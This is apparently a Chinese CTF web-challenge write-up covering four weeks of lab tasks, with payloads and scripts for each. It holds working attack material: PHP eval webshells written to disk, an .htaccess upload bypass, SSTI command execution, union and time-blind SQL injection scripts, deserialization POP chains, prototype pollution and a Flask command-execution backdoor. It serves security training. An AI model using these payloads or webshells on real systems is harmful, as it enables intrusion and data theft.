week1
泄漏的秘密
利用脚本扫描目录
1 | import requests |
R!C!E!
题目
1 | <?php |
题解
利用脚本生成一段符合题目要求的字符串
1 | import hashlib |
6XgGaa
1 | password=6XgGaa&e[v.a.l=$a=new DirectoryIterator("glob:///*"); |
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。因此我们可以构造出来该变量名咯。
用正则匹配绕过
payload
1 | password=6XgGaa&e[v.a.l=echo `tac /[9-q][9-q][9-q][9-q]`; |
Begin of HTTP
1 | X-Forwarded-For: 127.0.0.1 |
1 | POST /?ctf=a HTTP/1.1 |
伪造ip一开始用XXF不可以,改用X-Real-IP
Begin of PHP
题目
1 | <?php |
题解
数组绕过匹配
payload:
GET
1 | ?key1[1]=1&key2[2]=1&key4[]=1&key5[]=1 |
POST
1 | key3[]=&flag5[]= |
Begin of Upload
最普通的文件上传
以下两道没做出来,看别人的writeup
ErrorFlask
随便传入一个带字母的值
EasyLogin
弱口令爆破
字典
1 | password |
week2
游戏高手
题目
又是可恶的飞机大战>.<
题解
在app_v2.js中看到这个分数API的格式,之前做题的时候眼瞎没看到,呜呜呜。。。
然后传参
访问
1 | http://b0936251-3425-4218-bc30-7e8d120ba7df.node4.buuoj.cn:81/api.php |
payload:
1 | {"score":999999} |
include 0。0
题目
1 | <?php |
题解
进入题目给出源码,需要读取flag.php文件,读取PHP文件需要使用php://filter协议中的过滤器来对文件内容进行编码,但是这里过滤了base和rot。
还有其他的一些过滤器可以使用,例如convert.iconv系列的过滤器,由此构造Payload:
1 | php://filter/convert.iconv.UTF-8.UTF-7/resource=flag.php |
得到flag.php文件经过编码后的内容
然后utf7转换成utf8
Unserialize?
题目
1 | <?php |
题解
考察PHP反序列化,private变量输出时变量名和值要加%00
构造序列化脚本,然后查看源代码复制传参
R!!C!!E!!
题目
打开环境后看到
也考察了信息搜集
题解
我看来官方的wp说用dirsearch扫到/.git文件,我扫了一遍没扫到,可能是字典不行,算了先继续
然后用Githack
1 | python Githack.py http://e25b44db-b28d-48ab-9398-393d6352a0e0.node4.buuoj.cn:81/.git/ |
发现有这几个文件,打开查看/bo0g1pop.php
1 | <?php |
第一个正则对提交的参数进行处理:任意字符加上可选的括号(允许嵌套)更换为空,然后判断是否等于分号,结合下面的 eval 可以知道就是无参数命令执行。
第二个正则过滤了一些常用的用于无参数命令执行的 php 方法,但过滤不全,可以使用类似功能的方法进行绕过,最终命令执行。
payload(使用 bp 发送的请求):
1 | GET /bo0g1pop.php?star=eval(pos(array_reverse(getallheaders()))); HTTP/1.1 |
Upload again!
题目
文件上传
题解
本题主要考点是绕过后端对后缀名的限制,apache解析漏洞,绕过对文件内容的检测
抓包上传上一次的1.jpg内容为
//绕过<?限制的一句话
第一次尝试上传.htaccess,将1.png当成php文件执行没有成功,别慌还有别的办法
1 | AddType application/x-httpd-php .png |
将所有的png文件当成php文件执行
来让我试试
成功rce
ez_sql
题目
联合注入
题解
先测试注入
1 | id=1' order by 1 --+ |
发现被过滤了
尝试大小写绕过
是绕过了的
判断字段数。
1 | ?id=1' uNion Select 1,2,3,4,5# |
当增到6的时候就没有回显
得到字段数为5
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名,列的数据类型,或访问权限等。有些时候用于表述该信息的其他术语包括“数据词典”和“系统目录”。
1 | information_schema.tables 记录表名信息 information_schema.columns 记录列名信息 TABLE_SCHEMA 数据库字段 table_name 表名 column_name 列名 |
查询表名
1 | ?id=1' uNion Select ((sElect grOup_cOncat(tAble_name) From infOrmation_schema.tables Where Table_schema=Database())),2,3,4,5%23 |
查询字段名
1 | ?id=1' uNion Select ((sElect grOup_cOncat(column_name) From infOrmation_schema.columns Where Table_name='here_is_flag')),2,3,4,5%23 |
对上局有两处修改select group_concat()内的table_name改为column_name
where后面改为table_name=’here_is_flag’实现对名为here_is_flag的表的查询
查询Flag值:
1 | ?id=1' uNion Select ((sElect grOup_cOncat(flag) From here_is_flag)),2,3,4,5%23 |
from后面的表名不用加单引号,应该是等于号后面才要加双引号
week3
Include 🍐
题目
LFI(本地文件包含) to RCE
本题主要考察pearcmd文件包含,在register_argc_argv为on的环境下,通过包含pearcmd.php和传参可实现rce
1 | <?php |
看提示本地文件包含来命令注入
题解
先包含phpinfo文件
看到register_argc_argv是打开的,
利用pearcmd文件包含达成rce
payload:
1 | ?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_GET[0]);?>+/tmp/cmd.php |
file的路径为安装pear的绝对路径/usr/local/lib/php/pearcmd
config-create
为pearcmd的命令,Create a Default configuration file,在tmp目录下创建cmd.php并且将一句话木马写入,然后包含绝对路径的/tmp/cmd.php文件传参即可。
成功写入命令文件
然后获取flag
1 | ?file=/tmp/cmd&0=system("tac%20/f*"); |
POP Gadget
题目
1 | <?php |
看起来是一道反序列化的题目
题目提示:你说的对,但是什么是POP呢?那么你就要先知道什么是PHP的魔术方法
题解
题目主要考察POP链构造,整个链子比较简单。从Begin的__destruct析构函数作为起点开始,构造POP链触发到WhiteGod的__unset方法,__unset方法中存在一个函数的动态调用,可以实现RCE。
POP Gadget如下:
1 | Begin::__destruct -> Then::__toString -> Super::__invoke -> Handle::__call -> CTF::end -> WhiteGod::__unset |
写一个链子
poc:
1 | <?php |
Begin
类有一个公共属性$name
和一个构造函数,用于设置$name
属性的值。Then
类有一个私有属性$func
和一个构造函数,用于设置$func
属性的值。Handle
类有一个受保护的属性$obj
和一个构造函数,用于设置$obj
属性的值。Super
类有一个受保护的属性$obj
和一个构造函数,用于设置$obj
属性的值。CTF
类有一个公共属性$handle
和一个构造函数,用于设置$handle
属性的值。WhiteGod
类有两公共属性$func
和$var
,以及一个构造函数,用于设置这两个属性的值。
- 在代码的最后,创建一个嵌套对象:
WhiteGod
类的构造函数参数为 “readfile” 和 “/flag”,因此创建了一个WhiteGod
对象。- 这个
WhiteGod
对象作为参数传递给CTF
类的构造函数,创建了一个CTF
对象。 CTF
对象作为参数传递给Handle
类的构造函数,创建了一个Handle
对象。Handle
对象作为参数传递给Super
类的构造函数,创建了一个Super
对象。- 最后,
Super
对象作为参数传递给Then
类的构造函数,创建了一个Then
对象。 Then
对象作为参数传递给Begin
类的构造函数,创建了一个Begin
对象。
- 这一系列对象的嵌套关系表示了一个调用链,其中每个对象的构造函数将其参数传递给下一个对象。这是为了构造一个特定的对象层次结构,以便在序列化时触发特定的方法调用。
- 最后,
$obj
是包含了整个对象层次结构的Begin
对象。 serialize($obj)
函数用于将整个对象序列化为一个字符串。urlencode()
函数用于将序列化后的字符串进行 URL 编码,以确保生成的序列化只服从不会落下不可见字符。
R!!!C!!!E!!!
题目
1 | <?php |
题解
没有一点思路,看了官方的wp
1 | import time |
import time
和import requests
导入了Python标准库中的time
模块和第三方库requests
,用于进行HTTP请求。url
变量存储了目标URL,它似乎指向一个Web应用。result
变量初始化为空字符串,用于存储最终获取的结果。- 这段代码包含三个嵌套的
for
循环,用于遍历三个不同的参数i
、j
和k
的可能值。- 外层循环是
for i in range(1, 15)
,它控制了某个文件的行数。 - 第二个循环是
for j in range(1, 50)
,它控制了每一行中的字符位置。 - 最内层循环是
for k in range(32, 127)
,它遍历了ASCII码表中的可打印字符。
- 外层循环是
- 在最内层循环中,代码构建了一个名为
payload
的字符串,其中包含一个Shell命令,用于检查指定文件/flag_is_h3eeere
的内容。该命令根据参数i
和j
以及当前的字符k
进行构建。 payload2
是一个字典,用于构造POST请求的数据。其中包含了一个较为复杂的字符串,看起来是一个序列化对象的表示。- 代码记录了请求开始的时间
t1
,然后使用requests.post
方法向目标URL发送POST请求。 - 代码记录了请求结束的时间
t2
,然后检查请求的执行时间。如果请求执行时间超过了1.5秒,说明条件满足,将字符k
添加到result
中。 - 最后,将字符
k
添加到result
后,打印result
,然后继续内层循环,直到遍历完所有可能的字符。 - 外层循环结束后,向
result
添加一个空格,然后继续下一行的遍历。
遇到瓶颈了,编码能力不行,上限太低了,准备比赛回来学一下golang语言,这样打比赛的实力就大大提高了。
我看到还有一个非预期解
GenShin
题目
一道SSTI的python模板题目
题解
1 | {% print(get_flashed_messages.__globals__.os["pop"+"en"]("cat /flag").read()) %} |
OtenkiGirl
题目
JavaScript原型链污染
题解
题目给了个源码,慢慢来学习代码审计吧。
看到有两个路径/submit和/info
查看info.js
1 | async function getInfo(timestamp) { timestamp = typeof timestamp === "number" ? timestamp : Date.now(); // Remove test data from before the movie was released let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime(); timestamp = Math.max(timestamp, minTimestamp); const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e }); return data;} |
1 | timestamp = typeof timestamp === "number" ? timestamp : Date.now(); |
- 这里检查传入的
timestamp
参数是否是数字,如果不是数字,则将其设为当前时间戳Date.now()
。
其中第4行和第5行将我们传入的timestamp
做了一个过滤,使得所返回的数据不早于配置文件中的min_public_time
查看根目录下的config.js
和config.default.js
后发现config.js
并没有配置min_public_time
,因此getInfo
的第5行只是采用了DEFAULT_CONFIG.min_public_time
考虑原型链污染污染min_public_time
为我们想要的日期,就能绕过最早时间限制,获取任意时间的数据
查看submit.js
发现注入点
其中merge
函数行存在原型链污染,因此只要考虑注入data['__proto__']['min_public_time']
的值即可
于是构造payload
1 | { |
然后修改请求方式和请求路径再请求即可
medium_sql
题目
url后面可以拼接id
题解
尝试:
1 | ?id=TMP0919' And if(1>0,1,0)# |
发第一个,有回显,第二个,没回显,说明页面可以根据if判断的结果回显两种(真假)内容,因此是布尔盲注。
布尔盲注脚本
1 | def condition(res): |
学一下python以后要尝试自己去写脚本
week4
逃
题目
1 | <?php |
题解
字符逃逸,
1 | <?php |
payload
获取当前目录
1 | badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:2:"ls";} |
获取根目录
1 | badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:4:"ls /";} |
获取flag
1 | badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:9:"tac /flag";} |
midsql
题目
Key Source
1 | $cmd = "select name, price from items where id = ".$_REQUEST["id"]; |
$cmd = "select name, price from items where id = ".$_REQUEST["id"];
这一行创建了一个 SQL 查询语句,并将其存储在
$cmd
变量中。这个查询从一个名为 “items” 的表中选择了 “name” 和 “price” 列的数据,条件是 “id” 列等于来自 HTTP 请求中 “id” 参数的值。然而,这段代码存在安全隐患,因为它直接将用户输入拼接到 SQL 查询语句中,可能导致 SQL 注入攻击。$result = mysqli_fetch_all($result);
这一行看起来试图从数据库中获取查询结果并将其存储在
$result
变量中。然而,这里的$result
变量在这行代码之前并没有赋予任何值。这可能导致错误或者未定义行为。$result = $result[0];
这一行试图获取
$result
数组的第一个元素并将其赋值回给$result
变量。前提是$result
变量已经包含了从数据库中获取的数据。然而,在之前的代码中,并没有展示$result
被赋予任何数据库查询的结果,所以这行代码可能会导致错误。
题解
没有回显,没有报错,尝试时间盲注
1 | id=1/**/Or/**/(iF(((((Ord(substr((sElect(grOup_cOncat(name))frOm(ctf.items))/**/from/**/1/**/for/**/1))))in(108))),sLeep(1),0))# |
看到成功了
用lolita师傅的脚本,师傅太强了,人和人的差距比人和狗的差距还要大。
1 | import requests,re,copy |
好,现在开始逐行分析。
import导入了三个模块:
requests
模块:这是一个常用的第三方库,用于发送 HTTP 请求。它简化了在 Python 中进行 HTTP 请求的过程,包括 GET 和 POST 请求等。re
模块:这是 Python 的内置模块,提供了正则表达式支持。它用于在字符串中进行模式匹配和查找,执行替换和其他与正则表达式相关的操作。copy
模块:同样也是 Python 的内置模块,提供了数据复制和复制相关操作的功能。它用于复制对象,以避免对原始数据进行更改。
下面创建了Gadget和 Injector两个类
先来分析Gadget类
__enter__
方法
在 Python 中,__enter__
方法是用于实现上下文管理器的方法之一。上下文管理器允许你定义在进入和离开特定上下文时要执行的操作。
当一个类中包含 __enter__
方法时,它可以作为上下文管理器。当使用 with
语句时,会自动调用该类的 __enter__
方法。
接收三个参数:exc_type
、exc_val
和 exc_tb
,分别表示异常类型、异常值和追溯信息。
str2hex
方法:
将字符串转换为十六进制表示。
result = ''
:初始化一个空字符串result
,用于存储转换后的十六进制表示。for c in string:
:遍历输入的字符串string
中的每个字符。result += hex(ord(c))
:对于每个字符c
,ord(c)
返回其 ASCII 值,hex()
将该 ASCII 值转换为十六进制字符串,并将其追加到result
变量中。return '0x'+result.replace('0x','')
:'0x' + result.replace('0x', '')
:在result
的字符串中,将所有的'0x'
替换为空字符串,然后在结果的开头添加'0x'
前缀,表示这是一个十六进制数。- 最终返回的是一个字符串,表示输入字符串的十六进制表示,以
'0x'
开头。
get_char_ascii
方法:
构建了不同形式的 SQL Ord
函数,用于获取字符串中指定位置字符的 ASCII 值。
- 该方法中定义了三个不同的 SQL 查询方法,分别赋值给
method1
,method2
和method3
。 - 每个查询方法都采用不同的 SQL 函数来获取指定位置的字符的 ASCII 值。
return method2
返回了method2
所构建的 SQL 查询,作为该方法的结果。
逐行解释:
method1 = f'(Ord(right(left({string},{index}),1)))'
:- 使用
left()
和right()
函数从字符串string
中提取特定位置的字符,然后使用Ord()
函数获取其 ASCII 值。 left({string},{index})
提取字符串string
左起至位置index
的子字符串。right(...,1)
获取左侧子字符串的最右边的字符。- 最后使用
Ord()
函数获取该字符的 ASCII 值。
- 使用
method2 = f'(Ord(substr({string}/**/from/**/{index}/**/for/**/1)))'
:- 使用
substr()
函数直接从位置index
开始获取字符串string
中的一个字符。 substr({string} from {index} for 1)
提取位置为index
的字符。- 最后使用
Ord()
函数获取该字符的 ASCII 值。
- 使用
method3 = f'(Ord(sUbstr({string} frOm {index} fOr 1)))'
:- 类似于
method2
,使用sUbstr()
函数来提取特定位置的字符,并使用Ord()
函数获取其 ASCII 值。
- 类似于
table_name_in_db
方法:
构建了用于检索数据库表名的 SQL 查询。
table_name_in_db2
方法:
与 table_name_in_db
类似,但它允许指定数据库模式名称。
db_names
方法:
用于检索数据库名称的 SQL 查询。
column_name_in_table
方法:
构建了用于检索表中列名的 SQL 查询。
column_value_in_table
方法:
构建了用于检索表中特定列值的 SQL 查询。
其他一些方法:
用于比较 ASCII 值、长度等的 SQL 比较函数。
get_len
方法:
参数
:
function
是一个函数或方法。*args
和**kwargs
是传递给function
的参数。
返回值
:
- 构建了一个表示给定函数返回值长度的 SQL 查询字符串。
ascii_equal
, len_equal
和 ascii_greater
方法:
- 这些方法构建了不同类型的 SQL 比较语句,分别用于比较 ASCII 值、长度等。它们都返回相应的 SQL 比较语句字符串。
judge
方法:
- 参数:
cond
是一个条件(SQL 比较)。 - 返回值:该方法构建了一个 SQL
IF
语句字符串,用于执行条件成立时的操作,或返回0
。
分析:
get_len
方法通过调用传入的function(*args, **kwargs)
函数来获取其返回值的长度,返回了相应的 SQL 查询字符串。ascii_equal
方法构建了一个 SQL 比较语句,用于判断给定的 ASCII 值是否等于特定的值i
。len_equal
方法构建了一个 SQL 比较语句,用于判断给定的长度值是否等于特定的值i
。ascii_greater
方法构建了一个 SQL 比较语句,用于判断给定的 ASCII 值是否大于特定的值i
。judge
方法构建了一个 SQLIF
语句,根据给定的条件cond
返回不同的结果。如果条件成立,返回sLeep(1)
(可能是Sleep
函数,用于制造延迟),否则返回0
。
这些方法的目的是构建特定类型的 SQL 语句,用于执行在注入攻击中常见的比较、判断以及获取函数返回值长度的操作。
分析 Injector 类
__init__
方法:
初始化 Injector 实例,设置 URL、HTTP 方法、数据、注入参数等。
condition
方法:
检查 HTTP 响应时间是否大于 1 秒。
condition
方法功能解析:
参数:
res
是一个响应对象,通常是通过 HTTP 请求库(例如requests
库)发送请求后得到的响应。elapsed
是Response
对象的一个属性,表示从发出请求到接收响应所经过的时间。这个属性返回的是一个
timedelta
对象,它包含了以天、秒和微秒为单位的时间差。这个时间差表示了请求的持续时间。通过调用total_seconds()
方法,你可以得到以秒为单位的持续时间。返回值
- 如果请求的持续时间超过 1 秒钟,返回
True
。 - 否则返回
False
。
- 如果请求的持续时间超过 1 秒钟,返回
handle_value
方法:
执行值注入攻击,利用二分法逐个字符检索值。
方法功能分析:
参数
:
function
:表示一个用于构建 SQL 注入查询的函数。*args
和**kwargs
:表示传递给function
的参数。
处理流程
:
- 对于每个字符位置,该方法尝试逐个字符地构建 SQL 注入查询,以获取目标值。
- 通过二分法来逐字符确定字符的 ASCII 值。
- 使用
gadget
对象来构建不同的 SQL 查询。
结果
:
- 将逐字符获取的结果以字符串形式返回。
逐行解析:
result = ''
和data = copy.deepcopy(self.data)
:初始化了result
作为结果的字符串,复制了self.data
的副本作为操作数据的副本。for _time in range(200):
:循环处理字符的位置,尝试逐个字符地获取目标值。left = 32
和right = 128
:初始化了左右边界值,假设目标字符的 ASCII 值介于 32 到 128 之间(通常是可打印字符的 ASCII 范围)。while (right > left):
:进入一个循环,使用二分法逐字符确定字符的 ASCII 值。mid = (left + right) // 2
:计算中间值,即待确认字符的 ASCII 值。with self.gadget as g:
:进入gadget
对象的上下文管理器。data[self.inject_param] = self.data[self.inject_param].replace('XXXXX',g.judge(g.ascii_equal(g.get_char_ascii(function(*args, **kwargs),_time+1),mid)))
:构建 SQL 注入查询,尝试获取指定位置字符的 ASCII 值,并用二分法逐字符确定字符的 ASCII 值。- 发送请求并接收响应,检查响应的持续时间。
- 如果响应时间超过 1 秒,表示条件成立,更新结果字符串
result
。 - 如果未能获取到更新,或者没有响应超过 1 秒,更新左右边界值,继续进行二分搜索。
- 返回逐字符获取的结果字符串。
handle_len
方法:
执行长度注入攻击,利用二分法逐个字符检索长度。
方法功能分析:
参数
:
function
:表示用于构建 SQL 注入查询的函数。*args
和**kwargs
:表示传递给function
的参数。
处理流程
:
- 对于长度的每个可能取值,该方法尝试构建 SQL 注入查询,以确定目标值的长度。
- 根据不同长度,构建相应的 SQL 查询。
结果
:
- 返回确定的目标值的长度。
逐行解析:
data = copy.deepcopy(self.data)
:复制self.data
的副本,作为操作数据的副本。for _time in range(1, 200):
:循环处理长度的取值范围。with self.gadget as g:
:进入gadget
对象的上下文管理器。data[self.inject_param] = self.data[self.inject_param].replace('XXXXX',g.judge(g.len_equal(g.get_len(function,*args, **kwargs),_time)))
:构建 SQL 注入查询,尝试获取目标值的长度。- 发送请求并接收响应,检查响应的持续时间。
- 如果响应时间超过 1 秒,表示条件成立,打印长度并中断循环。
- 如果未能获取到超过1秒的响应,继续循环,尝试下一个可能的长度值。
- 返回确定的目标值的长度。
这段代码通过循环不同的长度值,尝试构建有效的 SQL 查询来确定目标值的长度。其目的是进行长度注入攻击,以确定目标值的长度。
if __name__ == '__main__':
部分:
实例化了 Gadget
和 Injector
,并调用 handle_value
方法来执行 SQL 注入攻击,具体针对特定表中的列值。
Gadget
类似乎包含了一些用于构建SQL注入查询的方法。Injector
类似乎用于执行SQL注入攻击的逻辑。在
1
if __name__ == '__main__':
中执行了以下操作:
- 实例化了一个
Gadget
对象g
。 - 设置了一个
url
变量作为攻击目标的网址。 - 设置了
inject_param
变量,用于构建注入查询的参数。 - 准备了一个
data
字典,似乎是待发送的数据,其中'id'
键的值中有一个标记'XXXXX'
,用于构建注入攻击查询。 - 实例化了一个
Injector
对象inj
,传入了攻击目标的URL、请求方法、注入参数和待发送数据。 - 注释部分包含了三个示例注入攻击的调用,分别是获取当前库名、获取表名、获取表的字段。
- 最后一行调用了
inj.handle_value(g.column_value_in_table,'ctf.items','name')
,这个操作似乎尝试获取名为'ctf.items'
的表的'name'
字段。
- 实例化了一个
Note(注释):
- 使用默认的基于时间的注入。这意味着代码中可能默认采用了基于时间的注入攻击方法,通过检查程序的响应时间来推断攻击是否成功。这种方法通常通过添加额外的操作,如
Sleep
函数来增加响应时间,从而进行推断。
- 使用默认的基于时间的注入。这意味着代码中可能默认采用了基于时间的注入攻击方法,通过检查程序的响应时间来推断攻击是否成功。这种方法通常通过添加额外的操作,如
Todo(待办事项):
- Union Injection(联合注入):联合注入是一种注入攻击,常用于从数据库中检索数据,结合多个查询结果。待办事项中似乎计划添加这个攻击方法。
- Bool Injection(布尔注入):布尔注入是利用布尔逻辑运算(如
AND
,OR
,NOT
)对数据库进行猜测,从而获取信息的一种注入方法。待办事项中也包含了对此方法的计划。
OtenkiBoy
题目
帆高的复仇
给了一个源文件
路径处看到这三个文件,
查看routes/submit.js
,注意到下面的片段
1 | const result = await insert2db(merge(DEFAULT, data)); |
More Fast
题目
再快一点我就能拿到Flag了,如果Destruct能早一点触发就好了…
1 | <?php |
题解
pop链子
1 | <?php |
这里考点在于Fast Destruct,利用GC垃圾回收机制提前触发Destruct即可
垃圾回收是一种自动的存储管理机制。 当一些被占用的内存不再需要时,就应该予以释放,以让出空间,这种存储资源管理,称为垃圾回收(Garbage Collection)。当反序列化一个不存在的类的时候,
不存在的类转换成__PHP_Incomplete_Class
这种特殊的类,同时将原始的类名A
存放在__PHP_Incomplete_Class_Name
这个属性中
本题代码最后一行throw new Exception("Nope");
删一个花括号
或者修改数值大于1
flask disk
题目
考察Phar反序列化、gzip压缩、无回显RCE
题解
Flask是一个Python编写的Web 微框架
得知flask开启了debug,具体看这篇[文章](Flask开启debug模式等于给黑客留了后门 - 知乎 (zhihu.com))
上传一个app.py覆盖掉原来的
1 | from flask import Flask,request |
这段代码是一个简单的 Flask 应用程序,它创建了一个 Web 服务器,监听在 0.0.0.0 的 5000 端口上。然后,它定义了一个路由 @app.route('/')
,处理根路径的 GET 请求。
该路由函数 index()
试图执行传递的命令(cmd),并返回命令的输出结果。在这段代码中,使用了 os.popen()
来执行系统命令。然而,这种方法是非常危险的,因为它允许用户输入任意系统命令,并将其执行在服务器上。这种做法会引发安全风险,允许恶意用户执行恶意命令,比如删除文件、查看敏感信息等。
PharOne
题目
就是一个上传的入口。
对__HALT_COMPILER()进行了过滤,可以使用gzip等压缩进行绕过,Phar反序列化的一个小技巧,其次考点在于恶意类中的命令执行函数是无回显的,不过Web根目录可写,可以直接写一个WebShell进去,其他方法也是可以的。
题解
phar反序列化exp:
1 | <?php |
echo
: 这是一个 shell 命令,通常用于将文本输出到标准输出(屏幕)。在这种情况下,echo
将输出下一个引号内的内容。\"
: 这是转义字符,用于将双引号"
作为字符串的一部分输出,而不是作为代码中字符串的结束标记。<?=@eval(\\\$_POST['a']);
: 这部分是 PHP 代码片段,它使用了短标签<?= ... ?>
来执行 PHP 代码并将结果直接输出。在这里,@
符号用于抑制可能产生的错误信息,eval
函数用于执行字符串中的 PHP 代码。具体来说,它试图从 POST 请求中获取名为a
的数据,并执行这段数据作为 PHP 代码。>/var/www/html/1.php
: 这部分代码将echo
命令的输出重定向到/var/www/html/1.php
文件,也就是将前面echo
命令的输出内容写入1.php
文件中。这样的命令将使得1.php
文件包含通过eval
函数执行 POST 请求中的内容的结果。